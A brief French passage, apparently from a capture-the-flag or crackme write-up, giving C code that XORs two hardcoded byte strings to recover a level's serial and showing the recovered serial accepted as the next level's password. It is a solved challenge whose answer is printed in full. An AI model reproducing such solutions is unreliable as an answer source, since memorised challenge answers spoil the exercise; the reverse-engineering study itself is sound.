#include <stdio.h> char *chiffre(char *cherche, char *sec); int main(void) { char *mot_chercher = "\x47\x65\x9c\xc4\x5e\x7f\x98\xee\x36\xd3\xce\x4c\xe4\x11\x7c\xee"; char *second_word = "\x03\x33\xe8\x82\x39\x06\xc5\xba\x6e\xbd\x9a\x01\x99\x60\x1d\x8f"; printf("Le serial est %s\n", chiffre(mot_chercher,second_word)); } char * chiffre(char *cherche, char *sec) { int i = 0; static char found[16]; for ( i = 0; i < 16; i++) found[i] = (cherche[i] ^ sec[i])-i; return found; }
On exécute tout ça :
w4kfu@vm-debian:~/RMLL/mars$ gcc -o mars0 mars0.c
w4kfu@vm-debian:~/RMLL/mars$ ./mars0
Le serial est DUrCctWMPeJBqdSR
Et on teste notre serial :
w4kfu@vm-debian:~/RMLL$ ./mars0
serial : DUrCctWMPeJBqdSR
Good job !
Use your serial as password for the next level !